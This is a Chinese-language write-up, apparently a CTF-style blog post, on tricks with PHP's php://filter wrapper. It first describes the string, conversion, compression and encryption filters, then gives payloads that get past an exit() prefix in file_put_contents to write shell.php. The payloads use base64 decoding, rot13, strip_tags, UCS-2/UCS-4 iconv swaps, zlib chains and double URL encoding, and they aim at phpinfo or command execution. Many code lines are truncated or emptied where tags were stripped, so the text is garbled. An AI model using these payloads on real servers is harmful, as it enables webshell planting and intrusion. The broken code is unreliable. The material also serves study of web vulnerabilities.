PHP Filter伪协议Trick总结

PHP Filter伪协议Trick总结

前言：最近在学习的过程中碰到了很多的filter协议的小trick，在此做一个总结以及对filter协议的一些探索。

php Filter协议介绍

​ php://filter是php中独有的一种协议，它是一种过滤器，可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据，且在读取和写入之前对数据进行一些过滤，例如base64编码处理，rot13处理等。官方解释为：

php://filter 是一种元封装器，设计用于数据流打开时的筛选过滤应用。这对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、 file() 和 file_get_contents()，在数据流内容读取之前没有机会应用其他过滤器。 

Filter协议的使用方法

Filter协议的一般语法为：

php://filter/过滤器|过滤器/resource=待过滤的数据流

其中过滤器可以设置多个，按照链式的方式依次对数据进行过滤处理。例如：

echo file_get_contents("php://filter/read=convert.base64-encode|convert.base64-encode/resource=data://text/plain,");

对这个字符串进行了两次base64编码处理。

php filter的过滤器有很多种，根据官方文档（https://www.php.net/manual/zh/filters.php），大致可以分为四类：字符串过滤器、转换过滤器、压缩过滤器、加密过滤器

字符串过滤器

以string字符串开头，常见的过滤器有rot13、toupper、tolower、strip_tags等，例如：

# string.rot13即对数据流进行str_rot13函数处理echo file_get_contents("php://filter/read=string.rot13/resource=data://text/plain,abcdefg");# 输出结果为nopqrst

toupper、tolower是对字符串进行大小写转换处理：

file_get_contents("php://filter/read=string.toupper/resource=data://text/plain,abcdefg");

strip_tags对数据流进行strip_tags函数的处理，该函数功能为剥去字符串中的 html、XML 以及 PHP 的标签，简单理解就是包含有尖括号中的东西。

file_get_contents("php://filter/read=string.strip_tags/resource=data://text/plain,s");# 结果返回s

转换过滤器

主要含有三类，分别是base64的编码转换、quoted-printable的编码转换以及iconv字符编码的转换。该类过滤器以convert开头。

base64的编码转换操作，例如：

file_get_contents("php://filter/read=convert.base64-encode/resource=data://text/plain,m1sn0w");

Quoted-printable可译为可打印字符引用编码，可以理解为将一些不可打印的ASCII字符进行一个编码转换，转换成=后面跟两个十六进制数，例如：

file_get_contents("php://filter/read=convert.quoted-printable-encode/resource=data://text/plain,m1sn0w".chr(12));# 输出为m1sn0w=0C

iconv过滤器也就是对输入输出的数据进行一个编码转换，其格式为convert.iconv..或者convert.iconv./，表达的意思都是相同的，即将输入的字符串编码转换成输出指定的编码，例如：

file_get_contents("php://filter/read=convert.iconv.utf-8.utf-16/resource=data://text/plain,m1sn0w".chr(12));

压缩过滤器

主要有两类，zlib和bzip2，其中zlib.deflate和bzip2.compress用于压缩，zlib.inflate和bzip2.decompress用于解压缩。

加密过滤器

以mcrypt开头，后面指定一个加密算法。本特性已自PHP 7.1.0起废弃。强烈建议不要使用本特性。

Filter协议的一些Trick

php://filter⾯对不可⽤的规则只是报个Warning，之后会跳过继续执行。

绕过死亡exit

有时候会碰到这种情况：

file_put_contents($filename,"

$filename = "php://filter/write=convert.base64-decode/resource=shell.php";$content = "aPD9waHAGCGhwaW5mbygpOz8+"

$filename = "php://filter/write=string.rot13/resource=shell.php";$content = "";

$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";$content = "?>PD9waHAgcGhwaW5mbygpOz8+";

file_put_contents($content,"

$content = "php://filter/write=/resource=shell.php";

$content = "php://filter/write=string.rot13|/resource=shell.php";

UCS-2：对目标字符串进行2位一反转UCS-4：对目标字符串进行4位一反转

aa";echo iconv("UCS-4LE","UCS-4BE",$a);

# 2位一反转$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|??/resource=shell.php";# 4位一反转（注意添加一些填充位）$content = "php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|aa??;)/resource=shell.php";

$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=shell.php';file_put_contents($content,'

$content = "php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php";

$content = "php://filter/resource=./convert.base64-encode/../shell.php";

$content = "php://filter/write=%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65/resource=shell.php";file_put_contents($content,"

# payload如下：访问获取到phpinfo界面content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|??/resource=shell.php# 尝试命令执行content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|aa?/resource=shell.php

$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=shell.php';file_put_contents($content,'